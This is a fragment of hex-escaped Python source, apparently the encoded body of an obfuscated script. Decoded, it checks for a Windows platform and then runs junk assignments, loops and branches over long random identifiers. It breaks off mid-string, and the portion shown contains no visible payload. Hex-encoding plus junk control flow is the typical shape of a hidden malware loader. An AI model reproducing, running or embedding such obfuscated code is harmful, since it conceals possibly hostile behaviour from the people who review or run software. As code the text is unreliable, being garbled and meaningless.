6\x46\x74\x77\x6a\x47\x47\x76\x43\x6e\x68\x51\x4f\x49\x77\x42\x48\x7a\x6f\x6e\x74\x79\x62\x49\x52\x72\x77\x6e\x4d\x77\x54\x6f\x4f\x51\x4f\x79\x50\x77\x49\x6e\x72\x79\x78\x48\x77\x77\x73\x45\x73\x0a\x20\x20\x20\x20\x69\x66\x20\x70\x6c\x61\x74\x5f\x74\x79\x70\x65\x2e\x73\x74\x61\x72\x74\x73\x77\x69\x74\x68\x28\x27\x77\x69\x6e\x27\x29\x3a\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x74\x72\x79\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4f\x6b\x6e\x7a\x45\x73\x79\x42\x53\x50\x7a\x75\x51\x6b\x50\x46\x42\x52\x53\x74\x4e\x7a\x56\x73\x44\x49\x4f\x41\x45\x7a\x41\x46\x6b\x49\x42\x43\x4e\x72\x48\x46\x51\x66\x55\x6c\x53\x65\x73\x77\x7a\x53\x41\x4a\x42\x6b\x7a\x73\x78\x7a\x78\x4e\x6c\x43\x44\x4f\x6b\x52\x42\x74\x49\x47\x6d\x72\x79\x6f\x6d\x44\x51\x48\x59\x6e\x44\x52\x47\x49\x54\x53\x4e\x6c\x43\x50\x42\x6f\x76\x51\x47\x7a\x79\x67\x44\x68\x44\x71\x4d\x4d\x4f\x69\x43\x49\x46\x4f\x52\x48\x75\x42\x43\x72\x6d\x56\x4a\x69\x49\x42\x47\x70\x77\x4d\x66\x20\x3d\x20\x27\x69\x74\x4a\x43\x43\x43\x78\x4f\x69\x75\x4c\x67\x6e\x51\x66\x48\x51\x4a\x77\x67\x41\x53\x76\x7a\x6a\x6d\x45\x49\x74\x7a\x46\x50\x44\x58\x6b\x6d\x78\x75\x53\x79\x79\x72\x53\x7a\x75\x4e\x4b\x49\x6e\x76\x41\x56\x51\x68\x47\x7a\x7a\x6e\x6f\x4a\x67\x4a\x41\x46\x69\x71\x6d\x4a\x6e\x4e\x44\x6b\x73\x41\x46\x55\x4e\x45\x68\x51\x57\x42\x71\x45\x76\x49\x6d\x45\x73\x59\x53\x6f\x54\x48\x42\x70\x4f\x61\x74\x76\x47\x4a\x6e\x63\x4f\x6e\x6c\x77\x4d\x46\x42\x57\x71\x4e\x4a\x68\x76\x4f\x51\x46\x74\x49\x72\x78\x79\x49\x46\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x41\x49\x79\x4a\x70\x47\x52\x79\x54\x79\x73\x5a\x4c\x42\x6f\x72\x4a\x44\x48\x46\x46\x6e\x6d\x73\x6b\x71\x69\x49\x41\x50\x70\x42\x71\x45\x71\x70\x73\x5a\x43\x69\x51\x6b\x4c\x79\x52\x50\x46\x52\x75\x51\x58\x6e\x75\x73\x46\x41\x45\x7a\x49\x45\x79\x61\x76\x51\x72\x45\x43\x65\x7a\x48\x49\x48\x53\x65\x42\x49\x6c\x71\x50\x53\x4a\x75\x49\x48\x53\x72\x4e\x75\x43\x74\x6a\x79\x46\x4f\x48\x42\x44\x51\x70\x7a\x58\x76\x4d\x76\x48\x4e\x6d\x55\x4a\x74\x44\x72\x49\x44\x52\x49\x73\x48\x46\x79\x79\x4a\x46\x75\x5a\x77\x47\x20\x3d\x20\x27\x66\x4f\x4e\x41\x52\x44\x74\x4a\x4f\x4d\x53\x4f\x47\x59\x48\x6e\x51\x4a\x48\x75\x41\x74\x50\x4f\x46\x46\x48\x72\x73\x46\x73\x66\x6f\x53\x7a\x52\x52\x78\x46\x46\x53\x52\x7a\x79\x4d\x6e\x52\x76\x46\x65\x45\x76\x49\x43\x48\x52\x49\x69\x79\x65\x43\x73\x42\x45\x45\x7a\x46\x6b\x67\x70\x74\x7a\x70\x69\x4e\x49\x52\x44\x76\x4d\x47\x49\x48\x53\x55\x56\x5a\x44\x77\x53\x49\x66\x4a\x6f\x6f\x49\x6e\x53\x4a\x7a\x6c\x41\x44\x48\x78\x75\x52\x62\x69\x42\x43\x49\x46\x58\x4e\x49\x42\x44\x52\x49\x48\x7a\x59\x43\x77\x43\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7a\x42\x53\x53\x49\x43\x45\x45\x6b\x45\x58\x78\x78\x49\x4a\x50\x77\x50\x72\x43\x57\x79\x58\x7a\x41\x41\x6c\x56\x4a\x68\x49\x49\x50\x43\x71\x46\x43\x77\x47\x52\x67\x47\x7a\x74\x77\x49\x71\x77\x55\x52\x7a\x55\x74\x77\x6c\x46\x48\x41\x78\x52\x56\x67\x52\x45\x41\x76\x48\x47\x6a\x75\x53\x65\x4d\x79\x4a\x75\x50\x5a\x50\x77\x73\x44\x49\x72\x53\x72\x48\x57\x6c\x48\x53\x7a\x51\x6b\x44\x43\x46\x44\x43\x57\x70\x43\x47\x7a\x47\x58\x53\x41\x6e\x51\x43\x69\x48\x41\x49\x55\x51\x69\x49\x58\x48\x6c\x57\x53\x77\x4d\x50\x20\x3d\x20\x27\x43\x46\x49\x42\x48\x65\x7a\x53\x41\x76\x46\x79\x56\x6d\x47\x72\x43\x51\x76\x66\x53\x68\x77\x45\x4d\x49\x76\x46\x7a\x77\x44\x48\x42\x48\x53\x4d\x43\x68\x51\x47\x5a\x42\x47\x4a\x54\x72\x4e\x46\x74\x46\x53\x7a\x46\x53\x47\x49\x77\x52\x68\x45\x48\x6d\x51\x45\x6d\x68\x49\x4e\x7a\x43\x43\x77\x71\x77\x47\x52\x66\x78\x46\x75\x49\x57\x4a\x52\x75\x76\x46\x42\x68\x79\x72\x42\x4c\x53\x50\x72\x51\x47\x76\x6d\x42\x4d\x78\x44\x46\x43\x55\x73\x54\x47\x44\x54\x4f\x47\x4a\x75\x79\x45\x42\x43\x72\x59\x6e\x52\x57\x7a\x7a\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4f\x47\x43\x4a\x72\x53\x44\x6b\x55\x68\x44\x4f\x44\x76\x70\x46\x53\x6d\x56\x77\x42\x53\x52\x4a\x47\x49\x7a\x41\x75\x41\x42\x6b\x4e\x71\x4c\x49\x51\x6e\x78\x53\x66\x77\x45\x46\x78\x53\x79\x4f\x47\x48\x44\x6a\x7a\x47\x78\x44\x76\x47\x79\x7a\x6a\x71\x49\x63\x6e\x69\x59\x77\x41\x4c\x73\x44\x49\x54\x42\x6d\x74\x57\x43\x7a\x75\x42\x57\x45\x51\x77\x59\x70\x67\x7a\x43\x46\x51\x49\x4e\x71\x50\x52\x75\x49\x53\x57\x7a\x70\x5a\x4c\x49\x7a\x54\x52\x4a\x65\x70\x44\x4f\x43\x4e\x6c\x65\x75\x79\x75\x48\x48\x52\x44\x51\x20\x3d\x20\x27\x47\x69\x74\x49\x66\x46\x45\x77\x50\x72\x6c\x79\x62\x42\x76\x4a\x47\x4a\x74\x50\x45\x4a\x4c\x47\x6c\x70\x48\x73\x49\x6c\x76\x49\x79\x66\x75\x7a\x45\x76\x76\x4a\x74\x78\x44\x4a\x54\x7a\x79\x51\x77\x6c\x52\x45\x45\x54\x6e\x47\x77\x46\x75\x6e\x71\x46\x6d\x79\x6d\x53\x47\x76\x43\x4b\x4e\x6d\x71\x41\x65\x47\x45\x78\x46\x47\x42\x5a\x6a\x78\x48\x42\x6b\x76\x42\x51\x47\x51\x53\x47\x74\x50\x47\x44\x53\x53\x41\x42\x51\x73\x77\x4a\x51\x50\x6f\x4d\x67\x51\x6d\x46\x74\x72\x6a\x74\x4f\x6e\x42\x74\x47\x53\x43\x42\x76\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x42\x52\x63\x69\x48\x49\x66\x43\x41\x7a\x48\x70\x50\x46\x73\x45\x41\x64\x78\x48\x76\x73\x49\x4a\x49\x46\x4e\x43\x5a\x50\x76\x51\x4a\x75\x4a\x71\x45\x6f\x49\x4f\x45\x65\x48\x52\x70\x76\x43\x6f\x46\x4e\x46\x4f\x47\x5a\x45\x6e\x5a\x58\x74\x58\x56\x72\x77\x45\x74\x48\x44\x72\x79\x4f\x44\x50\x46\x53\x46\x7a\x49\x4f\x73\x51\x6f\x70\x41\x46\x71\x41\x4f\x59\x48\x73\x7a\x46\x73\x44\x6a\x4a\x51\x49\x49\x52\x78\x47\x4f\x4f\x43\x52\x4a\x76\x41\x4a\x43\x48\x76\x44\x49\x71\x75\x45\x6f\x72\x7a\x43\x76\x70\x43\x6d\x52\x20\x3d\x20\x27\x44\x67\x43\x6d\x6a\x6b\x78\x47\x75\x78\x4e\x44\x41\x47\x6c\x50\x53\x49\x79\x4e\x71\x44\x44\x49\x4a\x6b\x71\x75\x70\x41\x44\x7a\x49\x77\x52\x44\x77\x63\x55\x50\x44\x50\x76\x51\x48\x52\x4e\x6c\x48\x68\x6e\x45\x79\x74\x49\x43\x4f\x72\x51\x45\x43\x79\x49\x7a\x69\x6f\x75\x48\x53\x48\x7a\x4a\x44\x48\x50\x77\x52\x47\x47\x6d\x46\x69\x54\x74\x6a\x46\x47\x71\x47\x53\x41\x6d\x73\x47\x45\x55\x48\x4c\x51\x74\x77\x71\x77\x5a\x51\x53\x5a\x53\x6e\x48\x41\x79\x45\x77\x52\x74\x58\x45\x46\x47\x6f\x43\x46\x49\x6d\x70\x41\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x53\x59\x42\x50\x59\x43\x79\x4e\x51\x52\x42\x77\x78\x74\x4e\x79\x75\x74\x75\x66\x50\x68\x53\x41\x72\x7a\x72\x47\x7a\x47\x6c\x58\x4a\x53\x51\x51\x79\x48\x72\x42\x76\x4a\x79\x7a\x59\x48\x53\x44\x51\x77\x42\x6a\x44\x55\x4c\x44\x49\x77\x42\x7a\x59\x42\x79\x6a\x45\x57\x48\x45\x7a\x5a\x53\x74\x49\x53\x51\x41\x6f\x70\x4f\x73\x52\x54\x42\x75\x43\x6a\x53\x42\x53\x50\x4f\x44\x4a\x48\x48\x55\x4f\x45\x71\x48\x45\x51\x4f\x73\x53\x7a\x4a\x59\x4a\x48\x74\x70\x42\x7a\x6b\x42\x6b\x6b\x76\x43\x51\x5a\x4d\x7a\x56\x49\x6c\x20\x3d\x20\x27\x44\x52\x46\x71\x49\x6b\x52\x52\x53\x66\x78\x71\x77\x41\x46\x78\x59\x75\x47\x4e\x52\x78\x49\x49\x76\x77\x51\x53\x78\x6c\x47\x6a\x41\x4f\x68\x4a\x47\x78\x79\x45\x55\x64\x42\x53\x70\x47\x41\x45\x45\x77\x45\x72\x6c\x6f\x53\x69\x46\x6b\x4e\x56\x7a\x75\x70\x55\x47\x53\x44\x68\x77\x45\x47\x51\x42\x7a\x46\x4e\x53\x71\x71\x75\x71\x45\x72\x46\x78\x68\x48\x48\x7a\x42\x45\x51\x77\x79\x53\x51\x44\x50\x44\x78\x74\x47\x53\x49\x7a\x74\x6e\x66\x69\x4a\x47\x43\x6d\x75\x47\x44\x74\x65\x43\x47\x69\x4a\x6c\x76\x7a\x71\x78\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x75\x4a\x74\x6e\x6b\x48\x43\x4d\x6c\x41\x79\x47\x58\x68\x57\x4a\x67\x4f\x46\x42\x66\x45\x49\x49\x46\x41\x42\x49\x44\x68\x6d\x79\x54\x48\x47\x52\x42\x45\x50\x4b\x62\x45\x6a\x77\x74\x44\x72\x73\x52\x52\x6f\x72\x4f\x44\x6a\x76\x43\x48\x74\x44\x72\x74\x78\x53\x53\x48\x5a\x76\x6d\x45\x59\x45\x59\x77\x55\x43\x72\x71\x43\x77\x4f\x77\x51\x53\x71\x48\x48\x46\x56\x6e\x43\x72\x45\x42\x44\x73\x7a\x4a\x69\x77\x6e\x74\x72\x53\x50\x69\x72\x74\x46\x50\x74\x48\x4a\x48\x42\x46\x44\x79\x79\x4e\x45\x76\x52\x41\x55\x6d\x4c\x20\x3d\x20\x5b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x69\x74\x4a\x43\x43\x43\x78\x4f\x69\x75\x4c\x67\x6e\x51\x66\x48\x51\x4a\x77\x67\x41\x53\x76\x7a\x6a\x6d\x45\x49\x74\x7a\x46\x50\x44\x58\x6b\x6d\x78\x75\x53\x79\x79\x72\x53\x7a\x75\x4e\x4b\x49\x6e\x76\x41\x56\x51\x68\x47\x7a\x7a\x6e\x6f\x4a\x67\x4a\x41\x46\x69\x71\x6d\x4a\x6e\x4e\x44\x6b\x73\x41\x46\x55\x4e\x45\x68\x51\x57\x42\x71\x45\x76\x49\x6d\x45\x73\x59\x53\x6f\x54\x48\x42\x70\x4f\x61\x74\x76\x47\x4a\x6e\x63\x4f\x6e\x6c\x77\x4d\x46\x42\x57\x71\x4e\x4a\x68\x76\x4f\x51\x46\x74\x49\x72\x78\x79\x49\x46\x27\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x43\x46\x49\x42\x48\x65\x7a\x53\x41\x76\x46\x79\x56\x6d\x47\x72\x43\x51\x76\x66\x53\x68\x77\x45\x4d\x49\x76\x46\x7a\x77\x44\x48\x42\x48\x53\x4d\x43\x68\x51\x47\x5a\x42\x47\x4a\x54\x72\x4e\x46\x74\x46\x53\x7a\x46\x53\x47\x49\x77\x52\x68\x45\x48\x6d\x51\x45\x6d\x68\x49\x4e\x7a\x43\x43\x77\x71\x77\x47\x52\x66\x78\x46\x75\x49\x57\x4a\x52\x75\x76\x46\x42\x68\x79\x72\x42\x4c\x53\x50\x72\x51\x47\x76\x6d\x42\x4d\x78\x44\x46\x43\x55\x73\x54\x47\x44\x54\x4f\x47\x4a\x75\x79\x45\x42\x43\x72\x59\x6e\x52\x57\x7a\x7a\x27\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x44\x67\x43\x6d\x6a\x6b\x78\x47\x75\x78\x4e\x44\x41\x47\x6c\x50\x53\x49\x79\x4e\x71\x44\x44\x49\x4a\x6b\x71\x75\x70\x41\x44\x7a\x49\x77\x52\x44\x77\x63\x55\x50\x44\x50\x76\x51\x48\x52\x4e\x6c\x48\x68\x6e\x45\x79\x74\x49\x43\x4f\x72\x51\x45\x43\x79\x49\x7a\x69\x6f\x75\x48\x53\x48\x7a\x4a\x44\x48\x50\x77\x52\x47\x47\x6d\x46\x69\x54\x74\x6a\x46\x47\x71\x47\x53\x41\x6d\x73\x47\x45\x55\x48\x4c\x51\x74\x77\x71\x77\x5a\x51\x53\x5a\x53\x6e\x48\x41\x79\x45\x77\x52\x74\x58\x45\x46\x47\x6f\x43\x46\x49\x6d\x70\x41\x27\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x6e\x74\x53\x6b\x50\x59\x4a\x79\x52\x75\x43\x53\x6e\x43\x53\x58\x49\x69\x46\x69\x4e\x6f\x7a\x4a\x43\x57\x64\x52\x72\x72\x47\x78\x72\x73\x45\x46\x49\x4f\x53\x6f\x51\x49\x4f\x46\x45\x41\x4a\x45\x59\x45\x52\x41\x47\x47\x72\x46\x48\x4a\x44\x77\x44\x77\x48\x67\x74\x42\x7a\x65\x4a\x79\x6d\x49\x7a\x75\x6e\x4f\x78\x4f\x56\x47\x48\x4e\x73\x75\x4a\x4c\x50\x7a\x6e\x42\x46\x77\x45\x46\x48\x4a\x42\x6e\x7a\x6a\x42\x65\x45\x67\x45\x76\x4e\x43\x41\x6d\x7a\x47\x71\x76\x67\x42\x4e\x52\x51\x43\x79\x47\x4a\x41\x43\x79\x56\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x4f\x6b\x6e\x7a\x45\x73\x79\x42\x53\x50\x7a\x75\x51\x6b\x50\x46\x42\x52\x53\x74\x4e\x7a\x56\x73\x44\x49\x4f\x41\x45\x7a\x41\x46\x6b\x49\x42\x43\x4e\x72\x48\x46\x51\x66\x55\x6c\x53\x65\x73\x77\x7a\x53\x41\x4a\x42\x6b\x7a\x73\x78\x7a\x78\x4e\x6c\x43\x44\x4f\x6b\x52\x42\x74\x49\x47\x6d\x72\x79\x6f\x6d\x44\x51\x48\x59\x6e\x44\x52\x47\x49\x54\x53\x4e\x6c\x43\x50\x42\x6f\x76\x51\x47\x7a\x79\x67\x44\x68\x44\x71\x4d\x4d\x4f\x69\x43\x49\x46\x4f\x52\x48\x75\x42\x43\x72\x6d\x56\x4a\x69\x49\x42\x47\x70\x77\x4d\x66\x20\x69\x6e\x20\x53\x59\x42\x50\x59\x43\x79\x4e\x51\x52\x42\x77\x78\x74\x4e\x79\x75\x74\x75\x66\x50\x68\x53\x41\x72\x7a\x72\x47\x7a\x47\x6c\x58\x4a\x53\x51\x51\x79\x48\x72\x42\x76\x4a\x79\x7a\x59\x48\x53\x44\x51\x77\x42\x6a\x44\x55\x4c\x44\x49\x77\x42\x7a\x59\x42\x79\x6a\x45\x57\x48\x45\x7a\x5a\x53\x74\x49\x53\x51\x41\x6f\x70\x4f\x73\x52\x54\x42\x75\x43\x6a\x53\x42\x53\x50\x4f\x44\x4a\x48\x48\x55\x4f\x45\x71\x48\x45\x51\x4f\x73\x53\x7a\x4a\x59\x4a\x48\x74\x70\x42\x7a\x6b\x42\x6b\x6b\x76\x43\x51\x5a\x4d\x7a\x56\x49\x6c\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x41\x49\x79\x4a\x70\x47\x52\x79\x54\x79\x73\x5a\x4c\x42\x6f\x72\x4a\x44\x48\x46\x46\x6e\x6d\x73\x6b\x71\x69\x49\x41\x50\x70\x42\x71\x45\x71\x70\x73\x5a\x43\x69\x51\x6b\x4c\x79\x52\x50\x46\x52\x75\x51\x58\x6e\x75\x73\x46\x41\x45\x7a\x49\x45\x79\x61\x76\x51\x72\x45\x43\x65\x7a\x48\x49\x48\x53\x65\x42\x49\x6c\x71\x50\x53\x4a\x75\x49\x48\x53\x72\x4e\x75\x43\x74\x6a\x79\x46\x4f\x48\x42\x44\x51\x70\x7a\x58\x76\x4d\x76\x48\x4e\x6d\x55\x4a\x74\x44\x72\x49\x44\x52\x49\x73\x48\x46\x79\x79\x4a\x46\x75\x5a\x77\x47\x20\x69\x6e\x20\x7a\x42\x53\x53\x49\x43\x45\x45\x6b\x45\x58\x78\x78\x49\x4a\x50\x77\x50\x72\x43\x57\x79\x58\x7a\x41\x41\x6c\x56\x4a\x68\x49\x49\x50\x43\x71\x46\x43\x77\x47\x52\x67\x47\x7a\x74\x77\x49\x71\x77\x55\x52\x7a\x55\x74\x77\x6c\x46\x48\x41\x78\x52\x56\x67\x52\x45\x41\x76\x48\x47\x6a\x75\x53\x65\x4d\x79\x4a\x75\x50\x5a\x50\x77\x73\x44\x49\x72\x53\x72\x48\x57\x6c\x48\x53\x7a\x51\x6b\x44\x43\x46\x44\x43\x57\x70\x43\x47\x7a\x47\x58\x53\x41\x6e\x51\x43\x69\x48\x41\x49\x55\x51\x69\x49\x58\x48\x6c\x57\x53\x77\x4d\x50\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x4f\x47\x43\x4a\x72\x53\x44\x6b\x55\x68\x44\x4f\x44\x76\x70\x46\x53\x6d\x56\x77\x42\x53\x52\x4a\x47\x49\x7a\x41\x75\x41\x42\x6b\x4e\x71\x4c\x49\x51\x6e\x78\x53\x66\x77\x45\x46\x78\x53\x79\x4f\x47\x48\x44\x6a\x7a\x47\x78\x44\x76\x47\x79\x7a\x6a\x71\x49\x63\x6e\x69\x59\x77\x41\x4c\x73\x44\x49\x54\x42\x6d\x74\x57\x43\x7a\x75\x42\x57\x45\x51\x77\x59\x70\x67\x7a\x43\x46\x51\x49\x4e\x71\x50\x52\x75\x49\x53\x57\x7a\x70\x5a\x4c\x49\x7a\x54\x52\x4a\x65\x70\x44\x4f\x43\x4e\x6c\x65\x75\x79\x75\x48\x48\x52\x44\x51\x20\x3d\x3d\x20\x42\x52\x63\x69\x48\x49\x66\x43\x41\x7a\x48\x70\x50\x46\x73\x45\x41\x64\x78\x48\x76\x73\x49\x4a\x49\x46\x4e\x43\x5a\x50\x76\x51\x4a\x75\x4a\x71\x45\x6f\x49\x4f\x45\x65\x48\x52\x70\x76\x43\x6f\x46\x4e\x46\x4f\x47\x5a\x45\x6e\x5a\x58\x74\x58\x56\x72\x77\x45\x74\x48\x44\x72\x79\x4f\x44\x50\x46\x53\x46\x7a\x49\x4f\x73\x51\x6f\x70\x41\x46\x71\x41\x4f\x59\x48\x73\x7a\x46\x73\x44\x6a\x4a\x51\x49\x49\x52\x78\x47\x4f\x4f\x43\x52\x4a\x76\x41\x4a\x43\x48\x76\x44\x49\x71\x75\x45\x6f\x72\x7a\x43\x76\x70\x43\x6d\x52\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x41\x49\x79\x4a\x70\x47\x52\x79\x54\x79\x73\x5a\x4c\x42\x6f\x72\x4a\x44\x48\x46\x46\x6e\x6d\x73\x6b\x71\x69\x49\x41\x50\x70\x42\x71\x45\x71\x70\x73\x5a\x43\x69\x51\x6b\x4c\x79\x52\x50\x46\x52\x75\x51\x58\x6e\x75\x73\x46\x41\x45\x7a\x49\x45\x79\x61\x76\x51\x72\x45\x43\x65\x7a\x48\x49\x48\x53\x65\x42\x49\x6c\x71\x50\x53\x4a\x75\x49\x48\x53\x72\x4e\x75\x43\x74\x6a\x79\x46\x4f\x48\x42\x44\x51\x70\x7a\x58\x76\x4d\x76\x48\x4e\x6d\x55\x4a\x74\x44\x72\x49\x44\x52\x49\x73\x48\x46\x79\x79\x4a\x46\x75\x5a\x77\x47\x20\x3d\x20\x4f\x6b\x6e\x7a\x45\x73\x79\x42\x53\x50\x7a\x75\x51\x6b\x50\x46\x42\x52\x53\x74\x4e\x7a\x56\x73\x44\x49\x4f\x41\x45\x7a\x41\x46\x6b\x49\x42\x43\x4e\x72\x48\x46\x51\x66\x55\x6c\x53\x65\x73\x77\x7a\x53\x41\x4a\x42\x6b\x7a\x73\x78\x7a\x78\x4e\x6c\x43\x44\x4f\x6b\x52\x42\x74\x49\x47\x6d\x72\x79\x6f\x6d\x44\x51\x48\x59\x6e\x44\x52\x47\x49\x54\x53\x4e\x6c\x43\x50\x42\x6f\x76\x51\x47\x7a\x79\x67\x44\x68\x44\x71\x4d\x4d\x4f\x69\x43\x49\x46\x4f\x52\x48\x75\x42\x43\x72\x6d\x56\x4a\x69\x49\x42\x47\x70\x77\x4d\x66\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x69\x66\x20\x42\x52\x63\x69\x48\x49\x66\x43\x41\x7a\x48\x70\x50\x46\x73\x45\x41\x64\x78\x48\x76\x73\x49\x4a\x49\x46\x4e\x43\x5a\x50\x76\x51\x4a\x75\x4a\x71\x45\x6f\x49\x4f\x45\x65\x48\x52\x70\x76\x43\x6f\x46\x4e\x46\x4f\x47\x5a\x45\x6e\x5a\x58\x74\x58\x56\x72\x77\x45\x74\x48\x44\x72\x79\x4f\x44\x50\x46\x53\x46\x7a\x49\x4f\x73\x51\x6f\x70\x41\x46\x71\x41\x4f\x59\x48\x73\x7a\x46\x73\x44\x6a\x4a\x51\x49\x49\x52\x78\x47\x4f\x4f\x43\x52\x4a\x76\x41\x4a\x43\x48\x76\x44\x49\x71\x75\x45\x6f\x72\x7a\x43\x76\x70\x43\x6d\x52\x20\x3d\x3d\x20\x41\x49\x79\x4a\x70\x47\x52\x79\x54\x79\x73\x5a\x4c\x42\x6f\x72\x4a\x44\x48\x46\x46\x6e\x6d\x73\x6b\x71\x69\x49\x41\x50\x70\x42\x71\x45\x71\x70\x73\x5a\x43\x69\x51\x6b\x4c\x79\x52\x50\x46\x52\x75\x51\x58\x6e\x75\x73\x46\x41\x45\x7a\x49\x45\x79\x61\x76\x51\x72\x45\x43\x65\x7a\x48\x49\x48\x53\x65\x42\x49\x6c\x71\x50\x53\x4a\x75\x49\x48\x53\x72\x4e\x75\x43\x74\x6a\x79\x46\x4f\x48\x42\x44\x51\x70\x7a\x58\x76\x4d\x76\x48\x4e\x6d\x55\x4a\x74\x44\x72\x49\x44\x52\x49\x73\x48\x46\x79\x79\x4a\x46\x75\x5a\x77\x47\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x41\x49\x79\x4a\x70\x47\x52\x79\x54\x79\x73\x5a\x4c\x42\x6f\x72\x4a\x44\x48\x46\x46\x6e\x6d\x73\x6b\x71\x69\x49\x41\x50\x70\x42\x71\x45\x71\x70\x73\x5a\x43\x69\x51\x6b\x4c\x79\x52\x50\x46\x52\x75\x51\x58\x6e\x75\x73\x46\x41\x45\x7a\x49\x45\x79\x61\x76\x51\x72\x45\x43\x65\x7a\x48\x49\x48\x53\x65\x42\x49\x6c\x71\x50\x53\x4a\x75\x49\x48\x53\x72\x4e\x75\x43\x74\x6a\x79\x46\x4f\x48\x42\x44\x51\x70\x7a\x58\x76\x4d\x76\x48\x4e\x6d\x55\x4a\x74\x44\x72\x49\x44\x52\x49\x73\x48\x46\x79\x79\x4a\x46\x75\x5a\x77\x47\x20\x3d\x20\x53\x59\x42\x50\x59\x43\x79\x4e\x51\x52\x42\x77\x78\x74\x4e\x79\x75\x74\x75\x66\x50\x68\x53\x41\x72\x7a\x72\x47\x7a\x47\x6c\x58\x4a\x53\x51\x51\x79\x48\x72\x42\x76\x4a\x79\x7a\x59\x48\x53\x44\x51\x77\x42\x6a\x44\x55\x4c\x44\x49\x77\x42\x7a\x59\x42\x79\x6a\x45\x57\x48\x45\x7a\x5a\x53\x74\x49\x53\x51\x41\x6f\x70\x4f\x73\x52\x54\x42\x75\x43\x6a\x53\x42\x53\x50\x4f\x44\x4a\x48\x48\x55\x4f\x45\x71\x48\x45\x51\x4f\x73\x53\x7a\x4a\x59\x4a\x48\x74\x70\x42\x7a\x6b\x42\x6b\x6b\x76\x43\x51\x5a\x4d\x7a\x56\x49\x6c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x42\x52\x63\x69\x48\x49\x66\x43\x41\x7a\x48\x70\x50\x46\x73\x45\x41\x64\x78\x48\x76\x73\x49\x4a\x49\x46\x4e\x43\x5a\x50\x76\x51\x4a\x75\x4a\x71\x45\x6f\x49\x4f\x45\x65\x48\x52\x70\x76\x43\x6f\x46\x4e\x46\x4f\x47\x5a\x45\x6e\x5a\x58\x74\x58\x56\x72\x77\x45\x74\x48\x44\x72\x79\x4f\x44\x50\x46\x53\x46\x7a\x49\x4f\x73\x51\x6f\x70\x41\x46\x71\x41\x4f\x59\x48\x73\x7a\x46\x73\x44\x6a\x4a\x51\x49\x49\x52\x78\x47\x4f\x4f\x43\x52\x4a\x76\x41\x4a\x43\x48\x76\x44\x49\x71\x75\x45\x6f\x72\x7a\x43\x76\x70\x43\x6d\x52\x20\x3d\x20\x53\x59\x42\x50\x59\x43\x79\x4e\x51\x52\x42\x77\x78\x74\x4e\x79\x75\x74\x75\x66\x50\x68\x53\x41\x72\x7a\x72\x47\x7a\x47\x6c\x58\x4a\x53\x51\x51\x79\x48\x72\x42\x76\x4a\x79\x7a\x59\x48\x53\x44\x51\x77\x42\x6a\x44\x55\x4c\x44\x49\x77\x42\x7a\x59\x42\x79\x6a\x45\x57\x48\x45\x7a\x5a\x53\x74\x49\x53\x51\x41\x6f\x70\x4f\x73\x52\x54\x42\x75\x43\x6a\x53\x42\x53\x50\x4f\x44\x4a\x48\x48\x55\x4f\x45\x71\x48\x45\x51\x4f\x73\x53\x7a\x4a\x59\x4a\x48\x74\x70\x42\x7a\x6b\x42\x6b\x6b\x76\x43\x51\x5a\x4d\x7a\x56\x49\x6c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x41\x49\x79\x4a\x70\x47\x52\x79\x54\x79\x73\x5a\x4c\x42\x6f\x72\x4a\x44\x48\x46\x46\x6e\x6d\x73\x6b\x71\x69\x49\x41\x50\x70\x42\x71\x45\x71\x70\x73\x5a\x43\x69\x51\x6b\x4c\x79\x52\x50\x46\x52\x75\x51\x58\x6e\x75\x73\x46\x41\x45\x7a\x49\x45\x79\x61\x76\x51\x72\x45\x43\x65\x7a\x48\x49\x48\x53\x65\x42\x49\x6c\x71\x50\x53\x4a\x75\x49\x48\x53\x72\x4e\x75\x43\x74\x6a\x79\x46\x4f\x48\x42\x44\x51\x70\x7a\x58\x76\x4d\x76\x48\x4e\x6d\x55\x4a\x74\x44\x72\x49\x44\x52\x49\x73\x48\x46\x79\x79\x4a\x46\x75\x5a\x77\x47\x20\x69\x6e\x20\x75\x4a\x74\x6e\x6b\x48\x43\x4d\x6c\x41\x79\x47\x58\x68\x57\x4a\x67\x4f\x46\